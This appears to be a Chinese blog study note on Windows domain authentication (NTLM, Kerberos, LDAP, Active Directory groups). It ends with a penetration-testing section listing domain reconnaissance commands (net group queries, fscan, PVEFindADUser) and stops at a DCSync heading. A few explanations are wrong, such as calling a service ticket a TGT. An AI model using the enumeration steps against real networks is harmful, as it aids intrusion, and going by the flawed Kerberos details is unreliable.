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\"\"<\/div><\/figure>\n\n\n\n

\u57df<\/h2>\n\n\n\n

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\u57df\u5de5\u4f5c\u6d41\u7a0b<\/strong>
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\u8eab\u4efd\u8ba4\u8bc1NTLM<\/h3>\n\n\n\n

NTLM\u4e3b\u8981\u7528\u4e8eWindows\u672c\u5730\u548c\u5de5\u4f5c\u7ec4\u73af\u5883\u7684\u8ba4\u8bc1\uff0c\u57df\u73af\u5883\u9996\u9009Kerberos\u8ba4\u8bc1\uff0c\u4f46\u4e5f\u53ef\u4ee5\u4f7f\u7528NTLM\u3002
NTLM hash\u7684\u4ea7\u751f\uff1apassword -> Unicode\u8f6c\u6362 -> md4\u52a0\u5bc6 \u5f97\u5230NTLM Hash
Windows\u672c\u5730\u8ba4\u8bc1\uff1a<\/strong>
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3.\u5982\u679c\u4e00\u81f4\u5219\u901a\u8fc7\u8ba4\u8bc1\uff08Windows Vista\u53ca\u4ee5\u4e0a\u7cfb\u7edf\uff0clsass.exe\u9ed8\u8ba4\u4e0d\u5b58\u50a8\u660e\u6587\uff0c\u53ea\u5b58\u50a8NTLM Hash\uff09
<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5de5\u4f5c\u7ec4\u73af\u5883\uff1a<\/strong>
1.\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u7aef\u53d1\u9001\u672c\u673a\u7684\u4e00\u4e9b\u4fe1\u606f
2.\u670d\u52a1\u7aef\u63a5\u6536\u540e\uff0c\u751f\u6210\u4e00\u4e2a\u968f\u673a\u768416\u4f4dChallenge\uff08\u6311\u6218\u968f\u673a\u6570\uff09\uff0c\u672c\u5730\u5b58\u50a8\u540e\u5c06Challenge\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef
3.\u5ba2\u6237\u7aef\u63a5\u6536Challenge\u540e\uff0c\u4f7f\u7528\u7528\u6237\u8f93\u5165\u5bc6\u7801\u7684NTLM Hash\u5bf9Challenge\u8fdb\u884c\u52a0\u5bc6\u751f\u6210response\uff0c\u5c06response\u53d1\u9001\u7ed9\u670d\u52a1\u7aef
4.\u670d\u52a1\u7aef\u63a5\u6536response\uff0c\u4f7f\u7528\u6570\u636e\u5e93\u4e2d\u5bf9\u5e94\u7528\u6237\u7684NTLM Hash\u5bf9\u4e4b\u524d\u5b58\u50a8\u7684Challenge\u8fdb\u884c\u52a0\u5bc6\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u4e0e\u63a5\u6536\u7684Response\u8fdb\u884c\u5bf9\u6bd4\uff0c\u5982\u679c\u4e00\u81f4\u5219\u901a\u8fc7\u8ba4\u8bc1
<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u57df\u73af\u5883\uff1a<\/strong>
1.\u9996\u5148\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u7aef\u53d1\u9001\u7528\u6237\u540d\u4ee5\u53ca\u672c\u673a\u7684\u4e00\u4e9b\u4fe1\u606f
2.\u670d\u52a1\u7aef\u63a5\u6536\u540e\uff0c\u751f\u6210\u4e00\u4e2a\u968f\u673a\u768416\u4f4dChallenge\uff08\u6311\u6218\u968f\u673a\u6570\uff09\uff0c\u672c\u5730\u5b58\u50a8\u540e\u5c06Challenge\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef
3.\u5ba2\u6237\u7aef\u63a5\u6536Challenge\u540e\uff0c\u4f7f\u7528\u7528\u6237\u8f93\u5165\u5bc6\u7801\u7684NTLM Hash\u5bf9Challenge\u8fdb\u884c\u52a0\u5bc6\u751f\u6210response\uff0c\u5c06response\u53d1\u9001\u7ed9\u670d\u52a1\u7aef
4.\u670d\u52a1\u7aef\u5c06\u7528\u6237\u540dChallenge Response\u53d1\u9001\u7ed9DC
5.DC\u63a5\u6536\u540e\u7528\u672c\u5730\u6570\u636e\u5e93\u91cc\u7684NTLM Hash\u52a0\u5bc6Challenge\uff0c\u5c06\u7ed3\u679c\u4e0eResponse\u5bf9\u6bd4\uff0c\u5e76\u5c06\u7ed3\u679c\u53d1\u9001\u7ed9\u670d\u52a1\u7aef
6.\u670d\u52a1\u7aef\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8eab\u4efd\u8ba4\u8bc1\uff08Kerberos\uff09<\/h3>\n\n\n\n

Kerberos\u4e3b\u8981\u7528\u4e8e\u57df\u73af\u5883\u8ba4\u8bc1\uff0c\u662f\u57fa\u4e8e\u7968\u636e\u7684\u8ba4\u8bc1\u65b9\u5f0f
KDC\uff08\u5b89\u68c0\u4e2d\u5fc3\uff09\uff1a\u5bc6\u94a5\u5206\u53d1\u4e2d\u5fc3\uff0c\u662fDC\u7684\u6838\u5fc3\u7ec4\u4ef6\u4e4b\u4e00\uff0c\u5305\u542b\u4e24\u4e2a\u6838\u5fc3\u7ec4\u4ef6AS TGS
AS\uff08\u8eab\u4efd\u9a8c\u8bc1\u7a97\u53e3\uff09\uff1aKerberos\u8ba4\u8bc1\u670d\u52a1\uff0c\u8d1f\u8d23\u63a5\u6536\u7528\u6237\u7684\u767b\u5f55\u8bf7\u6c42\uff0c\u9a8c\u8bc1\u7528\u6237\u8eab\u4efd\u540e\u751f\u6210TGT
TGS\uff08\u529e\u8bc1\u7a97\u53e3\uff09\uff1a\u7968\u636e\u6388\u6743\u670d\u52a1\uff0c\u63a5\u6536\u7528\u6237\u63d0\u4ea4\u7684TGT\u548c\u201c\u76ee\u6807\u670d\u52a1\u8bf7\u6c42\u201d\uff0c\u9a8c\u8bc1TGT\u5408\u6cd5\u6027\u540e\uff0c\u751f\u6210\u5bf9\u5e94\u670d\u52a1\u7684\u7968\u636eST
TGT\uff08\u4e34\u65f6\u8eab\u4efd\u8bc1\uff09\uff1a\u7968\u636e\u6388\u4e88\u7968\u636e\uff0c\u7528\u4e8e\u5411KDC\u548cTGS\u7533\u8bf7\u8bbf\u95ee\u5177\u4f53\u670d\u52a1\u7684\u7968\u636eST
ST\uff08\u623f\u95f4\u95e8\u7981\u5361\uff09\uff1a\u670d\u52a1\u7968\u636e\uff0c\u4e5f\u53ebTGT\u7968\u636e\uff0c\u7528\u4e8e\u5411\u76ee\u6807\u670d\u52a1\u63d0\u4ea4ST\uff0c\u9a8c\u8bc1ST\u5408\u6cd5\u6027\u540e\u5141\u8bb8\u7528\u6237\u8bbf\u95ee\u8d44\u6e90
\u670d\u52a1\u8d26\u6237\uff08\u623f\u95f4\uff09\uff1a\u7528\u4e8e\u8fd0\u884c\u670d\u52a1\u3001\u8fdb\u7a0b\u3001\u7528\u6237\u7a0b\u5e8f\u7684\u4e13\u7528\u8d26\u6237
krbtgt\u8d26\u6237\uff08\u524d\u53f0\u5370\u7ae0\uff09\uff1aKerberos\u8ba4\u8bc1\u4f53\u7cfb\u7684\u6838\u5fc3\u5185\u7f6e\u8d26\u6237\uff0c\u76f8\u5f53\u4e8eKerberos\u8ba4\u8bc1\u4e2dKDC\u7684\u670d\u52a1\u8d26\u6237
\u4e2a\u4eba\u8d26\u6237\uff08\u4f4f\u5ba2\u672c\u4eba\uff09\uff1a\u4f9b\u7ed9\u4e2a\u4eba\u767b\u5f55\u7684\u8d26\u6237<\/p>\n\n\n\n

\u7528\u6237\u767b\u5f55\u83b7\u53d6TGT\uff08AS-REQ\u8ba4\u8bc1\u670d\u52a1\u8bf7\u6c42\uff09<\/strong>
1.\u7528\u6237\u767b\u5f55\u65f6\uff0c\u5411KDC\u53d1\u9001\u8f93\u5165\u7684\u7528\u6237\u540d\u548c\u7ecf\u8f93\u5165\u7684\u5bc6\u7801\u6d3e\u751f\u51fa\u7684\u5bc6\u94a5\u52a0\u5bc6\u7684\u65f6\u95f4\u6233\u548c\u5ba2\u6237\u7aef\u4fe1\u606f\uff08\u9884\u8ba4\u8bc1\u6570\u636e\uff09
2.KDC\u63a5\u6536\u540e\uff0c\u5411AD\u6570\u636e\u5e93\u4e2d\u5bfb\u627e\u5bf9\u5e94\u7528\u6237\u540d\u7684\u5bc6\u7801\uff0c\u5e76\u7528\u8be5\u5bc6\u7801\u6d3e\u751f\u51fa\u7684\u5bc6\u94a5\u89e3\u5bc6\u9884\u8ba4\u8bc1\u6570\u636e\u540e\uff0c\u82e5\u89e3\u5bc6\u6210\u529f\u4e14\u65f6\u95f4\u6233\u6b63\u786e\uff0c\u5219\u901a\u8fc7\u8ba4\u8bc1\u3002
3.\u901a\u8fc7\u9a8c\u8bc1\u540e\uff0cKDC\u5229\u7528\u7528\u6237\u5bc6\u7801\u6d3e\u751f\u7684\u5bc6\u94a5\u52a0\u5bc6AS Session Key\uff0c\u7136\u540e\u751f\u6210\u5c06\u7528\u6237\u4fe1\u606f\u548cAS Session Key\u539f\u6587\u4f7f\u7528krbtgt\u7528\u6237\u7684\u5bc6\u94a5\u52a0\u5bc6\u751f\u6210TGT\uff0c\u5e76\u5c06AS Session Key\u5bc6\u6587\u548cTGT\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef
4.\u5ba2\u6237\u7aef\u63a5\u6536\u540e\uff0c\u901a\u8fc7\u81ea\u5df1\u7684\u5bc6\u7801\u89e3\u5bc6AS Session Key\u5e76\u5c06AS Session Key\u539f\u6587\u548cTGT\u7f13\u5b58\u5230\u672c\u5730
\u83b7\u53d6ST\uff08TGS-REQ\u7968\u636e\u6388\u4e88\u670d\u52a1\u8bf7\u6c42\uff09<\/strong>
1.\u7528\u6237\u5411TGS\u8bf7\u6c42ST\uff0c\u8bf7\u6c42\u5305\u542b\u7ecfAS Session Key\u52a0\u5bc6\u7684Authenticator\uff08\u5305\u542b\u65f6\u95f4\u6233\u548c\u5ba2\u6237\u7aefID\u7b49\u4fe1\u606f\uff09\u3001\u8bf7\u6c42\u8bbf\u95ee\u7684\u670d\u52a1\u540d\uff08SPN\uff09\u3001TGT\uff08\u5305\u542b\u7528\u6237\u4fe1\u606f\uff09
2.TGS\u63a5\u6536\u540e\uff0c\u4f7f\u7528krbtgt\u7528\u6237\u7684\u5bc6\u94a5\u5bf9TGT\u8fdb\u884c\u89e3\u5bc6\uff0c\u5f97\u5230AS Session Key\u539f\u6587\uff0c\u7528\u5176\u89e3\u5bc6Authenticator\uff0c\u82e5\u9a8c\u8bc1\u65f6\u95f4\u6233\u548c\u5ba2\u6237\u7aefID\u4fe1\u606f\u6210\u529f\u5219\u901a\u8fc7\u8ba4\u8bc1
3.\u901a\u8fc7\u8ba4\u8bc1\u540e\uff0cTGS\u5229\u7528AS Session Key\u52a0\u5bc6\u7684Service Session Key\uff0c\u5e76\u7528\u670d\u52a1\u8d26\u6237\u5bc6\u94a5\u52a0\u5bc6\u8bf7\u6c42\u7528\u6237\u7684\u4fe1\u606f\u548cServiceSessionKey\u751f\u6210ST\uff0c\u5e76\u5c06ServiceSessionKey\u5bc6\u6587\u548cST\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef
\u4f7f\u7528ST\uff08AP-REQ\u5e94\u7528\u8bf7\u6c42\uff09\uff1a\u5229\u7528ST\u8bbf\u95ee\u670d\u52a1<\/strong><\/p>\n\n\n\n

\u7cbe\u7b80\u7248\uff1aKerberos\u53ea\u5e72\u4e09\u4ef6\u4e8b<\/strong>
1.\u8bc1\u660e\u4f60\u662f\u8c01\uff08\u767b\u5f55\uff09->\u62ffTGT\uff08\u8eab\u4efd\u8bc1\uff09<\/strong>
\u7535\u8111\u767b\u5f55\u65f6\u8f93\u5165\u8d26\u53f7\u5bc6\u7801\uff0c\u8fd9\u65f6\u5411KDC\u53d1\u9001\u7528\u6237\u540d\u548c\u52a0\u5bc6\u6570\u636e\uff08\u5305\u542b\u65f6\u95f4\u6233\uff09\u3002KDC\u8fd9\u65f6\u53bbAD\u91cc\u9762\u627e\u5b58\u50a8\u7684\u767b\u5f55\u8d26\u53f7\u7684\u5bc6\u7801\u6d3e\u751f\u7684\u5bc6\u94a5\uff08\u540e\u79f0\u5176\u4e3a\u5bc6\u94a5A\uff09\uff0c\u89e3\u5bc6\u63a5\u6536\u5230\u7684\u6570\u636e\uff0c\u6b63\u786e\u89e3\u5bc6\uff08\u65f6\u95f4\u6b63\u5e38\uff09\u8bf4\u660e\u5bc6\u7801\u6b63\u786e\u3002KDC\u8fd9\u65f6\u53d1\u9001\u56de\u6765AS Session Key\uff08\u5bc6\u94a5A\u52a0\u5bc6\uff09\u548cTGT\uff08\u7528krbtgt\u5bc6\u94a5\uff0c\u540e\u79f0\u5176\u4e3a\u5bc6\u94a5B\uff0c\u52a0\u5bc6\u5305\u542b\u8eab\u4efd\u4fe1\u606f\u548cAS Session Key\u4e5f\u5c31\u662f\u8eab\u4efd\u8bc1\uff09\u3002\u6536\u5230\u540e\u5bf9AS Session Key\u8fdb\u884c\u89e3\u5bc6\u7f13\u5b58TGT\u3002
2.\u7533\u8bf7\u8bbf\u95ee\u67d0\u4e2a\u670d\u52a1 ->\u62ffST\uff08\u901a\u884c\u8bc1\uff09<\/strong>
\u5411TGS\u53d1\u9001TGT\u3001Authenticator\uff08\u7528AS Session Key\u52a0\u5bc6\u5305\u542b\u65f6\u95f4\u6233\u548c\u5ba2\u6237\u7aefID\uff09\u3001\u8981\u8bbf\u95ee\u7684\u670d\u52a1\uff08SPN\uff09\u3002TGS\u7528\u5bc6\u94a5B\u89e3\u5bc6TGT\u5f97\u5230\u8eab\u4efd\u4fe1\u606f\u3001AS Session Key\uff0c\u7136\u540e\u7528\u5bc6\u94a5A\u89e3\u5bc6Authenticator\u9a8c\u8bc1\u65f6\u95f4\u6233\uff0c\u7136\u540e\u53d1ST\uff08\u7528\u670d\u52a1\u8d26\u6237\u5bc6\u94a5\u52a0\u5bc6\uff09
3.\u62ffST\u53bb\u8bbf\u95ee\u670d\u52a1 <\/strong>
\u53d1\u9001ST\u548cAuthenticator\u7ed9\u670d\u52a1\u5668\u3002\u670d\u52a1\u5668\u7528\u81ea\u5df1\u7684\u5bc6\u94a5\u89e3\u5bc6ST\u9a8c\u8bc1\u8eab\u4efd\u4fe1\u606f\u548cAuthenticator\u9a8c\u8bc1\u65f6\u95f4\u6233\uff0c\u6700\u7ec8\u786e\u8ba4\u8eab\u4efd\u653e\u884c\u8bbf\u95ee\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

LDAP<\/h3>\n\n\n\n

\u5728\u57df\u5185LDAP\u662f\u7528\u6765\u8bbf\u95eeAD\u6570\u636e\u5e93\u7684\u76ee\u5f55\u670d\u52a1\u534f\u8bae\u3002AD DS\u57df\u670d\u52a1\u5668\u901a\u8fc7\u4f7f\u7528LDAP\u540d\u79f0\u8def\u5f84\u8868\u793a\u5bf9\u8c61\u5728AD\u6570\u636e\u5e93\u4e2d\u7684\u4f4d\u7f6e\u3002\u7ba1\u7406\u5458\u4f7f\u7528LDAP\u534f\u8bae\u6765\u8bbf\u95ee\u6d3b\u52a8\u76ee\u5f55\u4e2d\u7684\u5bf9\u8c61\uff0cLDAP\u901a\u8fc7\u201c\u547d\u4ee4\u8def\u5f84\u201d\u5b9a\u4f4d\u5bf9\u8c61\u5728\u6570\u636e\u5e93\u4e2d\u7684\u4f4d\u7f6e\uff0c\u5373\u4f7f\u7528\u6807\u8bc6\u540d\u548c\u76f8\u5bf9\u6807\u8bc6\u540d\u6807\u8bc6\u5bf9\u8c61\u3002<\/p>\n\n\n\n

LDAP\u534f\u8bae\u8ba4\u8bc1\u652f\u6301\u591a\u79cd\u9a8c\u8bc1\u673a\u5236\uff0c\u9700\u8981\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u5546\u8bae\u4f7f\u7528\u54ea\u79cd\u9a8c\u8bc1\u673a\u5236\u3002<\/strong>
LDAP\u5e38\u89c1\u8ba4\u8bc1\u673a\u5236\uff1a\u533f\u540d\u8ba4\u8bc1\u3001\u7b80\u5355\u8ba4\u8bc1\u3001SASL\u8ba4\u8bc1<\/p>\n\n\n\n

LDAP\u534f\u8bae\u7684\u8eab\u4efd\u9a8c\u8bc1\u6d41\u7a0b<\/strong><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

1.Client\u9996\u5148\u53d1\u9001bindRequest\u8bf7\u6c42\u7ed9LDAP Server\uff0c\u6307\u5b9a\u4f7f\u7528GSSAPI\u8ba4\u8bc1\uff08GSSAPI \u662f\u4e00\u79cd\u901a\u7528\u7684\u5b89\u5168\u8ba4\u8bc1\u63a5\u53e3\uff0c\u5728LDAP\u4e2d\u4f5c\u4e3aSASL\u673a\u5236\u7684\u4e00\u79cd\u5b9e\u73b0\uff0c\u901a\u5e38\u57fa\u4e8eKerberos\u534f\u8bae\u5de5\u4f5c\uff0c\u901a\u8fc7\u7968\u636e\u673a\u5236\u5b8c\u6210\u8eab\u4efd\u9a8c\u8bc1\uff0c\u5b9e\u73b0\u5b89\u5168\u7684\u5355\u70b9\u767b\u5f55\uff0c\u5e76\u907f\u514d\u660e\u6587\u5bc6\u7801\u4f20\u8f93\uff09\u5e76\u4f7f\u7528NTLM\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

2.Server\u8fdb\u884cbind\u76f8\u5e94\uff0c\u5305\u62ec\u4ea7\u751f\u7684Challenge<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

3.Client\u53d1\u9001NTLMSSP_AUTH\u8ba4\u8bc1\uff0c\u8bf7\u6c42\u79cd\u5305\u62ec\u7528\u6237\u540d\u3001\u8ba4\u8bc1\u4fe1\u606f<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

4.Server\u8ba4\u8bc1\u7ed3\u679c\u54cd\u5e94
\u54cd\u5e94successClient\u53ef\u4ee5\u7ee7\u7eed\u67e5\u8be2\u64cd\u4f5c<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u54cd\u5e94invalidCredentials\u4e4b\u540eClient\u53d1\u9001unbindRequest\u7ed3\u675f\u672c\u8f6e\u8bf7\u6c42<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6d3b\u52a8\u76ee\u5f55<\/h2>\n\n\n\n

\u6d3b\u52a8\u76ee\u5f55\uff08AD\uff09\u662f\u6307\u57df\u73af\u5883\u4e2d\u63d0\u4f9b\u76ee\u5f55\u670d\u52a1\u7684\u7ec4\u4ef6\uff0c\u76ee\u5f55\u662f\u7528\u4e8e\u5b58\u50a8\u6709\u5173\u7f51\u7edc\u5bf9\u8c61\u7684\u4fe1\u606f\uff0c\u76ee\u5f55\u670d\u52a1\u662f\u6307\u5e2e\u52a9\u7528\u6237\u5feb\u901f\u4ece\u76ee\u5f55\u4e2d\u627e\u5230\u5176\u6240\u9700\u8981\u7684\u4fe1\u606f\uff0c\u800c\u6d3b\u52a8\u76ee\u5f55\u5b9e\u73b0\u4e86\u76ee\u5f55\u670d\u52a1\u4e14\u5b58\u5728\u96c6\u4e2d\u5f0f\u7ba1\u7406\u673a\u5236\u3002\u5728\u6d3b\u52a8\u76ee\u5f55\u4e2d\u5b58\u5728\u903b\u8f91\u67b6\u6784\uff0c\u5305\u62ec\u7ec4\u7ec7\u5355\u5143\uff08OU\uff09\u3001\u57df\u3001\u57df\u6811\u3001\u57df\u68ee\u6797\u3002\u540c\u4e00\u57df\u6811\u7684\u6240\u6709\u57df\u5171\u4eab\u4e00\u4e2a\u6d3b\u52a8\u76ee\u5f55\uff0c\u5176\u4e2d\u7684\u6570\u636e\u5206\u6563\u5b58\u50a8\u5728\u5404\u4e2a\u57df\u4e2d\uff0c\u4e14\u6bcf\u4e2a\u57df\u53ea\u5b58\u50a8\u8be5\u57df\u7684\u6570\u636e\u3002\u6bd4\u5982\u6709\u4e00\u4e2a\u540d\u4e3aM\u7684\u96c6\u56e2\uff0c\u4e0b\u9762\u5b58\u5728A\u3001B\u3001C\u4e09\u4e2a\u5b50\u516c\u53f8\uff0c\u5b50\u516c\u53f8\u4e0b\u5305\u542b\u5404\u4e2a\u90e8\u95e8\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u4ee5M\u96c6\u56e2\uff08\u57df\u68ee\u6797\uff09\u3001\u5b50\u516c\u53f8\uff08\u57df\u6811\uff09\u3001\u90e8\u95e8\uff08\u57df\uff09\u3001\u5458\u5de5\uff08\u57df\u7528\u6237\uff09\u4e3a\u7ed3\u6784\u3002\u6d3b\u52a8\u76ee\u5f55\u7684\u8fd9\u79cd\u5c42\u6b21\u7ed3\u6784\u4f7f\u4f01\u4e1a\u7f51\u7edc\u5177\u6709\u6781\u5f3a\u7684\u53ef\u6269\u5c55\u6027\uff0c\u4fbf\u4e8e\u7ba1\u7406\u4ee5\u53ca\u76ee\u5f55\u5b9a\u4f4d\u3002<\/p>\n\n\n\n

\u57df\u73af\u5883\uff0c\u5fc5\u987b\u90e8\u7f72AD\u670d\u52a1\uff0c\u5b89\u88c5\u4e86AD\u57df\u670d\u52a1\u7684\u670d\u52a1\u5668\u5373\u6210\u4e3aDC\uff0c\u7528\u4e8e\u96c6\u4e2d\u7ba1\u7406\u57df\u5185\u7684\u7528\u6237\u3001\u8ba1\u7b97\u673a\u4ee5\u53ca\u5b89\u5168\u7b56\u7565\u3002AD\u7684\u6838\u5fc3\u662f\u5176\u76ee\u5f55\u6570\u636e\u5e93\uff0c\u8be5\u6570\u636e\u5e93\u5b58\u50a8\u5728\u57df\u63a7\u5236\u5668\u4e0a\uff0c\u56e0\u6b64DC\u662f\u6574\u4e2a\u57df\u73af\u5883\u7684\u7ba1\u7406\u4e2d\u5fc3\u3002\u5f53\u5728AD\u4e2d\u5bf9\u67d0\u4e2a\u7528\u6237\u8d26\u53f7\u8fdb\u884c\u4fee\u6539\u540e\uff0c\u8fd9\u4e9b\u66f4\u6539\u4f1a\u5bf9\u57df\u5185\u6240\u6709\u52a0\u5165\u8be5\u57df\u7684\u8ba1\u7b97\u673a\u751f\u6548\uff0c\u4ece\u800c\u5b9e\u73b0\u7edf\u4e00\u8eab\u4efd\u8ba4\u8bc1\u4e0e\u96c6\u4e2d\u7ba1\u7406\u3002<\/strong>
DC\u8d1f\u8d23\u57df\u5185\u7528\u6237\u7684\u8eab\u4efd\u8ba4\u8bc1\u57df\u6388\u6743\uff0c\u4f8b\u5982\u7528\u6237\u767b\u5f55\u9a8c\u8bc1<\/strong>
AD\u7528\u4e8e\u5bf9\u57df\u5185\u7684\u7528\u6237\u3001\u8ba1\u7b97\u673a\u3001\u7ec4\u4ee5\u53ca\u5176\u4ed6\u8d44\u6e90\u8fdb\u884c\u96c6\u4e2d\u7ba1\u7406\u4e0e\u7edf\u4e00\u7ef4\u62a4<\/strong><\/p>\n\n\n\n

\u5b89\u5168\u57df<\/h2>\n\n\n\n

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\u5b89\u5168\u57df\u8bbe\u8ba1\u4e00\u822c\u5c06\u7f51\u7edc\u5206\u4e3a\u4e09\u4e2a\u57df\uff1a\u5185\u7f51\u3001DMZ\u533a\u3001\u5916\u7f51\uff0c\u4e3a\u4e86\u63d0\u9ad8\u5b89\u5168\u6027\u53ef\u4ee5\u5728\u57df\u4e2d\u589e\u52a0\u5b89\u5168\u8bbe\u5907\uff08IDS\u3001IPS\u3001EDR\uff09\u7b49\u6765\u589e\u5f3a\u5b89\u5168\u6027
DMZ\u533a\u662f\u4e3a\u4e86\u89e3\u51b3\u5b89\u88c5\u9632\u706b\u5899\u540e\u5916\u90e8\u7f51\u7edc\u4e0d\u80fd\u8bbf\u95ee\u5185\u90e8\u670d\u52a1\u5668\u800c\u8bbe\u7acb\u7684\u4e00\u4e2a\u975e\u5b89\u5168\u7cfb\u7edf\u548c\u5b89\u5168\u7cfb\u7edf\u4e4b\u95f4\u7684\u7f13\u51b2\u533a\u3002\u5176\u4e2d\u90e8\u7f72\u4e86\u516c\u5f00\u7684\u4e1a\u52a1\u7cfb\u7edf\uff08Web\u670d\u52a1\u5668\u3001\u90ae\u4ef6\u670d\u52a1\u5668\u7b49\uff09\u548c\u5b89\u5168\u9632\u62a4\u8bbe\u5907\uff08IDS\u3001\u9632\u75c5\u6bd2\u3001WAF\u7b49\uff09\uff0c\u8fbe\u5230\u9632\u62a4\u5185\u7f51\u53c8\u6ee1\u8db3\u9700\u6c42\u7684\u6548\u679c\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u57df\u6743\u9650<\/h2>\n\n\n\n

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\u57df\u672c\u5730\u7ec4\uff1a<\/strong>\u6210\u5458\u53ef\u4ee5\u6765\u81ea\u4efb\u610f\u57df\uff0c\u6743\u9650\u53ea\u4f5c\u7528\u4e8e\u672c\u57df\u8d44\u6e90\uff08\u6709\u4e00\u53f0\u6587\u4ef6\u670d\u52a1\u5668\u653e\u5728A\u57df\uff0c\u5176\u4ed6\u57df\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u52a0\u5165\u57df\u672c\u5730\u7ec4\u5b9e\u73b0\u5bf9A\u57df\u8d44\u6e90\u7684\u63a7\u5236\uff09
\u5168\u57df\u7ec4\uff1a<\/strong>\u6210\u5458\u53ea\u80fd\u6765\u81ea\u672c\u57df\uff0c\u53ef\u4ee5\u88ab\u6388\u6743\u8bbf\u95ee\u5176\u4ed6\u57df\u7684\u8d44\u6e90\uff08\u8d22\u52a1\u90e8\u7528\u6237\u7ec4\uff0c\u6210\u5458\u5fc5\u987b\u662f\u672c\u5730\u57df\uff0c\u4f46\u662f\u62e5\u6709\u8bbf\u95ee\u5176\u4ed6\u57df\u8d44\u6e90\u7684\u6743\u9650\uff09
\u901a\u7528\u7ec4\uff1a<\/strong>\u6210\u5458\u53ef\u4ee5\u6765\u81ea\u4efb\u610f\u57df\uff0c\u53ef\u4ee5\u8bbf\u95ee\u4efb\u610f\u57df\u8d44\u6e90\uff08\u7528\u4e8e\u8de8\u57df\u73af\u5883\u7684\u4e2d\u540c\u4e00\u7ba1\u7406\uff09<\/p>\n\n\n\n

AGDLP\u539f\u5219<\/strong>
A\uff1a\u7528\u6237
G\uff1a\u52a0\u5165\u5168\u5c40\u7ec4
DL\uff1a\u52a0\u5165\u57df\u672c\u5730\u7ec4
P\uff1a\u5206\u914d\u6743\u9650
U\uff1a\u901a\u7528\u7ec4
\u7528\u6237\uff08A\uff09-> \u52a0\u5165\u5168\u5c40\u7ec4\uff08G\uff09-> \u5168\u5c40\u7ec4\u52a0\u5165\u57df\u672c\u5730\u7ec4\uff08DL\uff09-> \u57df\u672c\u5730\u7ec4\u88ab\u8d4b\u4e88\u6743\u9650\uff08P\uff09
\u8de8\u57df\uff1a\u7528\u6237\uff08A\uff09-> \u52a0\u5165\u5168\u5c40\u7ec4\uff08G\uff09-> \u5168\u5c40\u7ec4\u52a0\u5165\u901a\u7528\u7ec4\uff08U\uff09-> \u901a\u7528\u7ec4\u52a0\u5165\u57df\u672c\u5730\u7ec4\uff08DL\uff09-> \u57df\u672c\u5730\u7ec4\u88ab\u8d4b\u4e88\u6743\u9650\uff08P\uff09
\u53ea\u6709DL\uff08\u57df\u672c\u5730\u7ec4\uff09\u76f4\u63a5\u7ed1\u5b9a\u8d44\u6e90\u6743\u9650\uff0c\u4e3a\u4ec0\u4e48\u5fc5\u987bDL\u6700\u5408\u9002\uff1f<\/strong>
\u7528\u6237\u76f4\u63a5\u8d4b\u6743\uff1a\u4eba\u5458\u53d8\u52a8\u4f1a\u5bfc\u81f4\u6743\u9650\u6df7\u4e71
\u5168\u5267\u7ec4\u8d4b\u6743\u5f53\u8d44\u6e90\u5f88\u591a\u65f6\uff0c\u6743\u9650\u5206\u6563\u3001\u4e0d\u597d\u7ba1\u7406
\u901a\u7528\u7ec4\u8d4b\u6743\u8bbe\u8ba1\u5168\u5c40\u76ee\u5f55\uff08GC\uff09\u590d\u5236\u4fee\u6539\u9891\u7e41\u4f1a\u5f71\u54cd\u6027\u80fd
DL\u6743\u9650\u53ea\u4f5c\u7528\u57df\u672c\u57df\u8d44\u6e90\u3001\u53ef\u4ee5\u5305\u542b\u4efb\u610f\u57df\u7684\u6210\u5458\u975e\u5e38\u9002\u5408\u4f5c\u4e3a\u6743\u9650\u51fa\u53e3<\/p>\n\n\n\n

\u5185\u7f51\u6e17\u900f<\/h1>\n\n\n\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n\n\n\n

\u5224\u65ad\u662f\u5426\u5b58\u5728\u57df\uff1a<\/strong>net config workstation
\u67e5\u770bDC\uff1a<\/strong>DC\u4e3b\u673a\u901a\u5e38\u4f1a\u5f00\u542f88\uff08Kerberos\uff09389\uff08LDAP\uff09\u7aef\u53e3\u4f7f\u7528fscan\u7b49\u5de5\u5177\u8fdb\u884c\u626b\u63cf\u53d1\u73b0
\u67e5\u770b\u57df\u7ba1\uff1a<\/strong>\u57df\u7ba1\u7406\u5458\u4e00\u4e2a\u9ad8\u6743\u9650\u7ec4\uff08net group “domain admins” \/domain\uff09\u57df\u63a7\u5236\u5668\uff08net group “domain controllers” \/domain\uff09<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u67e5\u770b\u57df\u8ba1\u7b97\u673a\u7684\u767b\u5f55\u60c5\u51b5\uff1a<\/strong>PVEFindADUser.exe -current <\u57df>\\<\u7528\u6237>\uff08PVEFindADUser\u67e5\u8be2\u5355\u4e2a\u7528\u6237\u4fe1\u606f\u3001BloodHoundAD\u5173\u7cfb\u5206\u6790\u4e24\u4e2a\u90fd\u662fAD\u67e5\u8be2\u5de5\u5177\uff09<\/p>\n\n\n\n

\u6743\u9650\u63d0\u5347<\/h2>\n\n\n\n

Windows<\/h3>\n\n\n\n

DCSync<\/h4>\n\n\n\n

